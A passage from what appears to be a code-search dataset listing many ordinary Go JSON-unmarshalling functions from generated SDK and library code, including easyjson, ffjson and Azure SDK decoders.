key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", l, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *Packet) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (LinkRemoved) Unmarshal(v []byte) (interface{}, error) {\n\te := LinkRemoved{}\n\terr := json.Unmarshal(v, &e)\n\treturn e, err\n}","func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\n\tvar a []string\n\tif err := json.Unmarshal(data, &a); err != nil {\n\t\treturn err\n\t}\n\treturn e.Parse(a...)\n}","func (j *RunPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneUpdateLike(&r, v)\n\treturn r.Error()\n}","func (v *UnbindParams) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoTethering(&r, v)\n\treturn r.Error()\n}","func (i *Event) UnmarshalJSON(b []byte) error {\n\ttype Mask Event\n\n\tp := struct {\n\t\t*Mask\n\t\tCreated *parseabletime.ParseableTime `json:\"created\"`\n\t\tTimeRemaining json.RawMessage `json:\"time_remaining\"`\n\t}{\n\t\tMask: (*Mask)(i),\n\t}\n\n\tif err := json.Unmarshal(b, &p); err != nil {\n\t\treturn err\n\t}\n\n\ti.Created = (*time.Time)(p.Created)\n\ti.TimeRemaining = duration.UnmarshalTimeRemaining(p.TimeRemaining)\n\n\treturn nil\n}","func (v *EventContextDestroyed) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoWebaudio2(&r, v)\n\treturn r.Error()\n}","func (v *Features) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\n\treturn r.Error()\n}","func NewJSONItemRemover(removedPath []string) JSONItemRemover {\n\tremovedDataIndex1 := make(map[int]bool)\n\tremovedPath1 := make(map[string]bool)\n\tvar rmCount int\n\tif removedPath != nil {\n\t\trmCount = len(removedPath)\n\t\tfor _, val := range removedPath {\n\t\t\tremovedPath1[val] = true\n\n\t\t}\n\t}\n\treturn containerJSONItemRemover{removedDataIndex: removedDataIndex1, removedPath: removedPath1, removedPathCount: rmCount}\n}","func (j *CreateQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *UnloadCheckResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark(&r, v)\n\treturn r.Error()\n}","func (t *Transfer) UnmarshalJSON(data []byte) error {\n\tif id, ok := ParseID(data); ok {\n\t\tt.ID = id\n\t\treturn nil\n\t}\n\n\ttype transfer Transfer\n\tvar v transfer\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\t*t = Transfer(v)\n\treturn nil\n}","func (v *EventPipelineStageDelete) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk4(&r, v)\n\treturn r.Error()\n}","func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}","func (s *RemoveDeviceValidator) BindJSON(c *gin.Context) error {\n\tb := binding.Default(c.Request.Method, c.ContentType())\n\n\terr := c.ShouldBindWith(s, b)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (s *StringNotBeginsWithAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &s.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &s.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &s.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}","func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}","func (s *Specifier) UnmarshalJSON(b []byte) error {\n\tvar str string\n\tif err := json.Unmarshal(b, &str); err != nil {\n\t\treturn err\n\t}\n\tcopy(s[:], str)\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (v *Stash) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeDrhyuComIndexerModels(&r, v)\n\treturn r.Error()\n}","func (t *TrackedResourceModificationDetails) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"deploymentId\":\n\t\t\terr = unpopulate(val, \"DeploymentID\", &t.DeploymentID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"deploymentTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"DeploymentTime\", &t.DeploymentTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"policyDetails\":\n\t\t\terr = unpopulate(val, \"PolicyDetails\", &t.PolicyDetails)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}"],"string":"[\n \"func (v *RemoveUserData) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecode20191OPGPlus2InternalPkgModels14(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *RemoveSymbolFromWatchlistRequest) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *DeleteQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *DeleteQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *ActivityExternalUserRemoved) UnmarshalJSON(b []byte) error {\\n\\tvar helper activityExternalUserRemovedUnmarshalHelper\\n\\tif err := json.Unmarshal(b, &helper); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ta.RemovedUser = helper.Relationships.RemovedUser.Data\\n\\treturn nil\\n}\",\n \"func (l *List) UnsetKeyJSON(json interface{}) (err error) {\\n\\tkey := MakeZeroValue(&IntType{})\\n\\n\\tif err := key.Set(json); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn l.UnsetKey(key)\\n}\",\n \"func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *deleteByQuery) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson390b7126DecodeGithubComChancedPicker39(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *UnInstallPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *Json) UnmarshalJSON(data []byte) error {\\n\\terr := json.Unmarshal(data, &j.data)\\n\\n\\tj.exists = (err == nil)\\n\\treturn err\\n}\",\n \"func (v *EventPipelineDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk25(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventApplicationDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk21(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *InstallCancelPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (future *IotHubResourceDeleteFuture) UnmarshalJSON(body []byte) error {\\n\\tvar azFuture azure.Future\\n\\tif err := json.Unmarshal(body, &azFuture); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfuture.FutureAPI = &azFuture\\n\\tfuture.Result = future.result\\n\\treturn nil\\n}\",\n \"func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *EventApplicationPermissionDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk16(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (future *SubAccountDeleteFuture) UnmarshalJSON(body []byte) error {\\n\\tvar azFuture azure.Future\\n\\tif err := json.Unmarshal(body, &azFuture); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfuture.FutureAPI = &azFuture\\n\\tfuture.Result = future.result\\n\\treturn nil\\n}\",\n \"func (v *RemoveScriptToEvaluateOnNewDocumentParams) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage23(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventPipelinePermissionDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk12(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *UnInstallRespPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func JSONDel(conn redis.Conn, key string, path string) (res interface{}, err error) {\\n\\tname, args, _ := CommandBuilder(\\\"JSON.DEL\\\", key, path)\\n\\treturn conn.Do(name, args...)\\n}\",\n \"func (j *ModifyQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *PurgeQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (j *PurgeQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *RemoveScriptToEvaluateOnNewDocumentArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = RemoveScriptToEvaluateOnNewDocumentArgs(*c)\\n\\treturn nil\\n}\",\n \"func (j *ModifyQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (w *Entry) UnmarshalJSON(bb []byte) error {\\n\\t<>\\n}\",\n \"func (v *EventApplicationKeyDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk18(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &f.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &f.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_key\\\"}]`))\\n\\n\\torigDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\t_, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).Should(HaveOccurred(), \\\"patch apply\\\")\\n}\",\n \"func (a *ActivityUserBannedFromProgram) UnmarshalJSON(b []byte) error {\\n\\tvar helper activityUserBannedFromProgramUnmarshalHelper\\n\\tif err := json.Unmarshal(b, &helper); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ta.RemovedUser = helper.Relationships.RemovedUser.Data\\n\\treturn nil\\n}\",\n \"func (d *DeletedSecretItem) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"attributes\\\":\\n\\t\\t\\terr = unpopulate(val, &d.Attributes)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"contentType\\\":\\n\\t\\t\\terr = unpopulate(val, &d.ContentType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"deletedDate\\\":\\n\\t\\t\\terr = unpopulateTimeUnix(val, &d.DeletedDate)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, &d.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"managed\\\":\\n\\t\\t\\terr = unpopulate(val, &d.Managed)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"recoveryId\\\":\\n\\t\\t\\terr = unpopulate(val, &d.RecoveryID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"scheduledPurgeDate\\\":\\n\\t\\t\\terr = unpopulateTimeUnix(val, &d.ScheduledPurgeDate)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"tags\\\":\\n\\t\\t\\terr = unpopulate(val, &d.Tags)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *EventApplicationRepositoryDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk8(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (future *PrivateEndpointConnectionsDeleteFuture) UnmarshalJSON(body []byte) error {\\n\\tvar azFuture azure.Future\\n\\tif err := json.Unmarshal(body, &azFuture); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfuture.FutureAPI = &azFuture\\n\\tfuture.Result = future.result\\n\\treturn nil\\n}\",\n \"func (v *EventApplicationVariableDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (b *BastionSessionDeleteResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", b, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &b.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &b.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", b, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *EventPipelineParameterDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk16(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *RemoveSymbolFromWatchlistRequest) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(l, v)\\n}\",\n \"func (s *StringNotContainsAdvancedFilter) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"key\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Key\\\", &s.Key)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operatorType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"OperatorType\\\", &s.OperatorType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"values\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Values\\\", &s.Values)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b *T) UnmarshalJSON(p []byte) error {\\n\\tb.BloomFilter = new(bloom.BloomFilter)\\n\\treturn json.Unmarshal(p, b.BloomFilter)\\n}\",\n \"func (op *OpAdd) UnmarshalJSON(raw []byte) error {\\n\\tvar addRaw opAddRaw\\n\\terr := json.Unmarshal(raw, &addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (TagsRemoved) Unmarshal(v []byte) (interface{}, error) {\\n\\te := TagsRemoved{}\\n\\terr := json.Unmarshal(v, &e)\\n\\treturn e, err\\n}\",\n \"func (v *EventPipelineJobDelete) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk23(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *InstallCancelRespPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (p *Parser) Remove(pattern string) error {\\n return p.json.Remove(pattern)\\n}\",\n \"func (s *StringNotInAdvancedFilter) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"key\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Key\\\", &s.Key)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operatorType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"OperatorType\\\", &s.OperatorType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"values\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Values\\\", &s.Values)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *RemoveScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\\n\\ttype Copy RemoveScriptToEvaluateOnLoadArgs\\n\\tc := &Copy{}\\n\\terr := json.Unmarshal(b, c)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*a = RemoveScriptToEvaluateOnLoadArgs(*c)\\n\\treturn nil\\n}\",\n \"func (t *TestLineUpdate) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg 